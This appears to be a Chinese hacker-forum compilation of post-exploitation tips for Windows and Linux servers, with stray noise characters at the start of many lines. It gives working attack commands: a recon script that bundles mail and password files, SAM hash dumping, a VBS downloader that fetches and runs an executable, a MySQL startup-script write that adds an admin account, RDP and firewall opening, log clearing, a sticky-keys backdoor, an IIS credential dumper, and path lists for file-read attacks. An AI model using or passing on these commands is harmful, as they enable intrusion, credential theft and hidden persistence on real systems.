那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
3 c& A  u8 m; Z
提权先执行systeminfo
2 O. _& @6 a5 ?) p1 h8 ^/ Htoken 漏洞补丁号 KB956572
; M2 {$ p0 s3 qChurrasco          kb952004
命令行RAR打包~~·
! P8 S) A; h# i- f0 b6 crar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
4 m% Y. @6 \$ Z  w5 P) |( w2、收集系统信息的脚本  
' Y# H. S+ o: r* x: P6 ofor window：

1 _% E* B0 ~4 ?/ d- @@echo off
( H  q( B0 u6 f4 ^/ k! Decho #########system info collection
systeminfo
  r% y7 o* Y" D- j" L; M( u; mver
hostname
& c3 n6 ]2 D) r9 R7 p; R+ S! `net user
net localgroup
net localgroup administrators
6 J9 z4 j! @& O' n% Bnet user guest
8 T9 S6 L- t! F1 o. Wnet user administrator
/ ^- [9 C: U4 t$ X/ D. c5 [
( N# T! q4 U9 U4 ?2 [3 q9 k6 c( Fecho #######at- with   atq#####
echo schtask /query

echo
; J% x" z2 v; h; Eecho ####task-list#############
  [- z. N4 @4 ]+ `tasklist /svc
$ H) H- q  L! n6 ~) ]echo
echo ####net-work infomation
ipconfig/all
- c! i6 w9 `, q1 O* |( _) u2 ]5 Hroute print
arp -a
netstat -anipconfig /displaydns
echo
1 r) z. L' N) \1 V% v$ e# T) Fecho #######service############
sc query type= service state= all
. M7 v8 [  O1 K; O( ?7 B% becho #######file-##############
cd \
tree -F
for linux：

( T4 ^' B/ f5 Q#!/bin/bash

0 E+ ?$ V. p# {& z- G0 }# `. Pecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
9 M, y* B& o) l9 N1 P5 pecho #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
8 ^! I9 U8 S; f, zecho
rpm -qa 2>/dev/null
( c6 p7 K2 ?2 m' _7 T! R& [) J######stole the mail......######
/ R! |8 E! `" T9 {# T' f1 r; ecp -a /var/mail /tmp/getmail 2>/dev/null


6 ^% Q, `! I0 z& l' a4 iecho 'u'r id is' `id`
echo ###atq&crontab#####
) j' f1 D: Q1 F" o5 s$ Vatq
crontab -l
. s& [0 E. ^1 D6 e! Gecho #####about var#####
set
) s' v( ?% w- v
  G8 e: I& b- E) U/ Pecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
+ I* W! M, {% X. [& Gipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh

. w: u- o8 V3 m6 iecho ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
! s, d# I/ W# Qcat /etc/passwd|grep -i $i
% }& h& h7 P( ~5 s& Rdone
4 v: k3 n, d& z3 w) z8 i
& w# @0 b1 |) B( Q* u8 L- P1 ^locate passwd >/tmp/password 2>/dev/null
9 D4 m8 Z5 z/ y: y6 t+ B- xsleep 5
$ s, p) @6 d2 N8 n0 R# J# jlocate password >>/tmp/password 2>/dev/null
6 ?# O: }% N! n( A+ d  |& W+ fsleep 5
3 B7 C  Y; _1 s0 t- S1 P! [! plocate conf >/tmp/sysconfig 2>dev/null
( L; Z% f2 k; Y2 Csleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
# L2 n: j5 r3 p- [) P1 U3 N
###maybe can use "tree /"###
! o9 w3 `) o4 x  v/ G1 @5 Necho ##packing up#########
! K7 \. S5 V6 }! ~4 N5 e7 D* R9 ftar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
6 ^4 J9 d* ?: V9 s6 ]rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
5 U- @& J7 J7 p+ }9 d, ~——————————————
4 H) E* B- f% V9 R3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
& l, l; z& ?5 x( t. V, H- b注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
; P0 Y! c* V9 ?4 ^hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
5 N/ r2 a" ]- O0 G5 p0 Iecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
0 O# R6 x* t9 j5 G1 z# H! v" V# Y' Q1 Pecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
2 ~3 Z" F! Z7 I- p8 Y7 K9 eecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
" ]6 D$ {) y5 R, Aecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
5 k9 J# v! k+ y4 Q0 x/ wcftmon.vbs

- s! S) u* ?9 u& v3 k2
# G( b. h0 W0 e/ m, y2 T4 FOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
" W; E/ n, g9 M1 F$ OsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
3 Z* y/ o' u. O/ m( u
1 D0 W: s/ J* X; E. Hcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
: l! _. f' M" @7 @0 _. o
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
1 d1 x& Z$ `9 ]& q- h  [+ H' y9 @& F5、
. N& V$ u7 S* N1.查询终端端口
3 n7 F2 [( I3 L! ~REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
1 v4 O6 _# G* DREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# m3 j, R2 d0 `! J/ i" T3 f3.更改终端端口为2008(0x7d8)
* A( t% t$ P! O. y$ e6 Y& a# KREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
) w. H7 B  y! o& m) G& q# M: U, a5 `0 r2 f# C4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
* p) g2 ?( m$ }9 h& Z7 lREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
& F6 y$ n3 [4 i5 k2 T: c0 s+ z6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
; O, U' ~* R( j7 J, oinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
# B7 ^* }( J% ^& x# N+ I7 R4 J7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
5 j. p, e' x/ M* b0 ~  l_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
3 I/ z; E$ N( z4 h" M- G% T  
  for /d %i in (???) do @echo %i
$ o6 o) P, X# v
: e$ v# K# r. |! S: B) P  O$ O把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
8 v0 A9 G) q% G' U  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
9 U; f0 B  {, \8 ^! d+ u, C
& e: m" \# f& Z- S# [6 tfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

& j6 H, _4 y7 K% z6 g1 z# M3.for /f %i in (c:\1.txt) do echo %i
  
/ `$ j, M6 e! w  `/ q! H% b  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
% v% y6 s+ P3 i! e; y
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

. x7 b/ i0 H; U" x' K$ y  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
/ b0 [. c1 T$ Greg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

; i# P( W) X. l9 F& _2 H* @3.清除3389登录记录:
- S4 ^( X' Z9 ireg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

* F- I9 }% L" [+ i  C/ b! x5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
) l! k2 t7 _2 m7 t( ~
3 O6 I8 n( n# W' t- V* D' R( U) O' }6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
- _4 n5 V$ f& R2 v8 pnetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

4 }/ [+ M2 h! `: t$ W) Z8.系统口令恢复LM加密:
. S8 g- X  D4 G0 j$ v) [* g$ j6 d4 nreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
7 a3 F( C+ |7 B* _6 x- t5 Q. i/ {reg save hklm\system c:\system.hive
) O* I2 g* o) \4 o( Creg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

% z! Z8 k) k( areg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
0 p0 Y. G6 {' I. C-----------------------------------
  \4 N& t# k/ ^: p$ k9 c1 `; Q星外vbs(注：测试通过，好东西）
# v8 Z! N) }1 r9 _6 ySet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
5 r, d4 r: q+ N1 G- TchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
) s) f8 u4 K/ }( E( [9 T; {set IIs=objservice.GetObject("IIsWebServer",childObjectName)
/ x, g, w- G) b5 [  S7 l6 Z2 ?( w. }if err.number<>0 then
exit for
- ^; ?/ {! C, G2 I7 J; `msgbox("error!")
wscript.quit
4 I5 e1 |/ ], P" l3 B% Wend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
7 h/ a4 x2 \& A4 E9 vset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
, A, N2 v6 p7 ]8 \. i* hpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
+ G; ]1 a5 X$ l  ^wscript.echo list
7 \2 g# E6 O2 d/ d* d: lSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
. w# A7 \5 P- I! g% O/ e' R1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
' {3 t* e+ ~2 w$ ?2 `, a1 W2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
0 p: a( H6 ?, l将folder.htt文件，加入以下代码：
# i) X0 t' u& ~. h( ~% U. G<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
) m, [/ Q8 W/ F. D7 l然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
5 {4 N1 n/ m2 }: Z- B 原因是ASP大马里有这样的代码：（没有就没事儿了）
& Z) x: w7 x$ R5 R$ ?5 Y( v& U url=request.severvariables("url")
+ f6 J( \. E- x 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
; V' \6 J5 i- e7 F) q3 {0 w 解决方法
, f) X. `) w. Y url=request.severvariables("path_info")
' |; N2 p0 h" q4 B path_info可以直接呈现虚拟路径 顺利解析gif大马
# [: `: P: B0 e4 M' Y
* \. M3 o$ B6 ?$ r6 r4 C/ W  l==============================================================
1 n8 Z7 G. f$ \/ O0 CLINUX常见路径：

, X3 ^5 U- t, f. y- j/etc/passwd
/etc/shadow
9 J3 J$ E2 q" C9 [7 `/etc/fstab
4 O) ?. K4 P1 n8 k+ h7 B3 F/ ~/etc/host.conf
/ @& F$ i. R* F5 c: m9 J/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
. Y+ t" Q/ Q3 ]2 f3 E/var/www/conf/httpd.conf
( ~4 C  ~( t% N% M  v/var/www/htdocs/index.html
6 ?% e  R. a4 w& f! D/var/httpd/conf/php.ini
( h# i1 f0 }( H9 d- m% u/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
1 k, \& S: d  o* P+ i/ f0 Y/var/httpd/conf/php.ini
1 A  [6 G  E7 N0 i& l! [/var/www/index.html
7 h6 j; ]: z' |9 w2 J3 u- q/var/www/index.php
6 I2 a: P8 ^5 r: f; o8 l0 e5 V2 @/opt/www/conf/httpd.conf
/ V  _5 J5 C' l4 G' s  i/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
, p8 B3 N* a( p& P2 \7 ?1 d/usr/local/apache/htdocs/index.html
% T! t" s, A1 S  u( I& g0 r% m/usr/local/apache/htdocs/index.php
  ?( N% Y; ^# L  O; D* M& l. F/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
# h; Y0 [% E9 ^: k" a: |5 E/etc/httpd/conf/httpd.conf
) @! p) D6 Q% k3 [1 H( A/etc/httpd/htdocs/index.html
/www/php/php.ini
6 D, j9 _, i! N/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
1 x3 V7 p, p" I% [5 V/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
* I+ e% T% f' m4 [, v; [/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
! }* J  V; Y4 I1 \; Q( h$ A- B/etc/apache/httpd.conf
' w, Y3 i! v# J/ s/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
9 @& y. ^# c7 f7 l5 v: l4 V/etc/apache2/sites-available/default
$ w  P' Q5 e; Q/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
7 w8 w2 x  }1 N/ U2 H) h- v6 M! S8 M/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
' \" ?5 X, p. P2 {- w, G+ q& A3 E/etc/httpd/logs/error_log
0 z4 ~' `7 Z4 b7 L( `( A/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
" N& @* C% t" e6 p6 G/var/log/apache/error_log
( l# Y0 x7 ?, S+ U/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
) S  e( s0 i: a8 M$ R* U/var/log/apache2/access_log
' }  p" y! ~  S2 u( L/var/log/apache2/access.log
/var/www/logs/error_log
7 G1 K' Y: U* @9 L9 U: r; d. F$ D/var/www/logs/error.log
/var/www/logs/access_log
7 _6 e- a5 `/ ]& L/var/www/logs/access.log
0 `! l4 {, _9 E6 O/ y/ i/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
; i7 x$ y6 r1 T4 s9 J/usr/local/apache/logs/access.log
/ u( @8 ^2 \5 c2 [& W! D/var/log/error_log
2 ~. }# A3 m' V, j# t/var/log/error.log
/var/log/access_log
0 \+ k1 D, T% C3 a  m/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
6 G) I2 S# q7 X  J% x9 h, Y  g: Z/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
& f' G& x4 r8 `+ R" A7 v8 X/etc/init.d/httpd
4 l2 t, _9 k7 z. a1 E/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
  D4 e8 c, n9 y% O/usr/lib/php/php.ini
8 G) `4 i- A3 F9 `5 ?0 J/ u/ {/usr/local/etc/php.ini
$ q; a1 N* h9 }8 @* U1 E7 ~/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
! k# p2 ~6 F% F/ h/usr/local/php4/lib/php.ini
" f6 ~* a' i7 q" j4 G) G/usr/local/php4/php.ini
/ [3 x$ U2 O7 }/ S/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
, J6 V5 W  [4 d9 C; M/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
2 g( @# z3 A* E/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
; v, `7 h2 y$ @+ \  c. \% h4 B/etc/php4/apache2/php.ini
9 O; ~5 M+ m/ e  D' p8 D! b/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
* t8 H3 _1 ?6 c0 i& `/etc/php/php.ini
/etc/php/php4/php.ini
$ @+ i) |9 m& _/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
- y) A  a! ?, d/ m2 U( F/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
- O0 M5 Y( h: E. o9 j2 }) N4 g/var/local/www/conf/httpd.conf
# M" h* q1 P, o" s/etc/php/cgi/php.ini
8 a+ y! z$ C+ g) X/etc/php4/cgi/php.ini
, `) M9 `/ U$ Y( e/etc/php5/cgi/php.ini
3 l8 o* r2 r( H0 j0 i/ G  V: N/php5/php.ini
/ O% R" z' p$ B/php4/php.ini
/php/php.ini
7 k2 S7 m$ k. P: ]7 y. g/PHP/php.ini
7 O+ d& Y1 \) n" g/apache/php/php.ini
- V1 K0 }4 [' i/ p- F* l( T/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
1 c5 l' I3 e2 w+ g1 |9 Z- |/NetServer/bin/stable/apache/php.ini
& G# K0 \$ {- U  d0 ^% B6 |& j# }/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
' v5 z2 T9 j% {& H! Z6 O$ p/var/log/mysqlderror.log
! Q8 c  w. @" Y+ C3 Q7 F/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
6 [( X, B& `% ~) b/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
: g3 ~" `+ R2 G* w/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
6 o- v: s' \" O/usr/local/cpanel/logs/error_log
) F6 z' M, S' t" }7 N4 u$ v/usr/local/cpanel/logs/license_log
, O1 q" T7 U; z: T& V! t; i; M/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
+ M, E" S  A2 J; w+ H
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

4 A+ U. P" v( T5 A3 Mc:\windows\php.ini
c:\boot.ini
" |3 n1 u9 R; l) T/ dc:\1.txt
3 `; _% V! ]3 k, }c:\a.txt
: ?" s: n& B6 Z9 i9 E1 s
c:\CMailServer\config.ini
, W; ?8 K" H$ u7 B- H" e! `c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
6 x5 k7 C3 H1 g7 i3 F: ^9 ~c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
6 Z' Z3 F4 P$ a+ m& m+ zC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
$ T! g2 J8 \* Y5 P7 ^7 B( bC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

3 l) H) I, K% yc:\hzhost\databases\url.asp

8 i# y0 J$ F" Sc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
# {6 Y) Z" J" K5 k" m  E; g1 l
. W( B  o. k# m3 u9 yC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
+ m+ x) N, Y$ J5 F0 qC:\WINDOWS\web.config
& D3 r+ }- g) o! _  G1 F* oc:\web\index.html
0 e. K! \  n) S. z* Hc:\www\index.html
9 C' R, e) M% _/ }3 X( }c:\WWWROOT\index.html
c:\website\index.html
* }, l: b+ ?1 p( }3 Wc:\web\index.asp
& F+ d6 C$ S4 q. Y% z7 r1 d& ?c:\www\index.asp
& v8 ]6 g! \, ac:\wwwsite\index.asp
c:\WWWROOT\index.asp
- X& T5 y" }7 t; p$ C: w3 n3 cc:\web\index.php
/ w! u; f2 l- I+ e8 uc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
% I- M% O. U) U- F( q* `8 oc:\www\default.html
" W8 H1 }9 V3 j5 Y! \0 `c:\WWWROOT\default.html
" j- @- @8 ^+ `8 j$ l. sc:\website\default.html
c:\web\default.asp
! }" m2 f. x0 R$ cc:\www\default.asp
c:\wwwsite\default.asp
! E% V+ _: Z: ^$ Uc:\WWWROOT\default.asp
$ M+ A& W2 ~0 h# x$ p8 C7 X' P! Hc:\web\default.php
( V7 f; M) B  @c:\www\default.php
  ~' f& t. A: Z# W% M8 V6 r; q' xc:\WWWROOT\default.php
1 G- ]: f/ G. H4 zc:\WWWsite\default.php
# Z( l$ V% _) t2 b% QC:\Inetpub\wwwroot\pagerror.gif
0 F' F' T; J$ C( Hc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
2 ~# _1 {; G* i; `. \4 @# J( dC:\Program Files\Microsoft Office\OFFICE12\winword.exe
( Z+ r+ b: ]! G4 CC:\Program Files\Internet Explorer\IEXPLORE.EXE
! E0 B% H) y2 R" t, }+ G* Q# jC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
- J* d; F$ o3 L( k/ aC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
1 p/ X& @6 e+ jC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
5 h, W6 E) z/ J; JC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
; _7 z5 j) {. y" i/ N. q. ~' |C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
1 }, q/ G  g- l" g9 e% z5 MC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
) u' o$ R5 [2 h4 q5 w) ZC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
7 \: C; D# ]( r, V% PE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
% B8 R4 J/ l+ s9 wC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
! _1 R, l6 w8 m$ P1 Z* b. `C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
+ \: S/ q/ J, O: }' r8 C0 w' W* IC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
9 Q; x0 o9 S. c  F8 HC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
! L4 [% o; Z7 ~C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
2 g( |* B% Y8 d$ x" aC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
7 P" E8 j* |7 i; s, P0 {C:\MySQL\MySQL Server 5.0\my.ini
8 y  `5 B8 T- s' v" QC:\Program Files\MySQL\MySQL Server 5.0\my.ini
9 B# D7 I" @( SC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
, |2 i) v: G. p: d8 O5 {% R  RC:\Program Files\MySQL\MySQL Server 5.0\COPYING
7 J- Y% B1 a8 vC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
6 x8 M' \0 t1 k/ y! n' mC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
' n' b3 J7 D4 j8 _5 YC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
) u. `; X2 o6 T2 z% \$ CC:\WINDOWS\system32\config\default.LOG
6 `' C6 N  h8 o: W; {- vC:\WINDOWS\system32\config\sam
3 J; ?4 j2 t' x; S. IC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
1 t7 V; A- G0 A8 J4 p" a8 Q; Ec:\tomcat6\tomcat6\bin\version.sh
% C/ f: t- \2 M8 C% Ac:\tomcat6\bin\version.sh
3 j( Y- q& q( Uc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
( L: j9 t5 L0 [0 o$ AC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
3 [$ \( m6 M$ N- [c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
7 q. _3 h- v5 N2 n' W" }7 j0 B. u" \c:\Apache2\bin\Apache.exe
8 k7 [( L7 s  E' E! Hc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
; ~8 b& }" c7 h2 R+ V/usr/tomcat6/bin/startup.sh
  Y) n( y1 @: [6 s' S* {c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
) ?$ P7 J6 P# I5 ~- tc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
/ z- _; K! I* U. H+ d0 M; d3 I' ac:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
: @  Q6 C- C: T8 C: J8 y! }4 X( _) F1 Q5 ~C:\Program Files\Foxmal\accounts.cfg
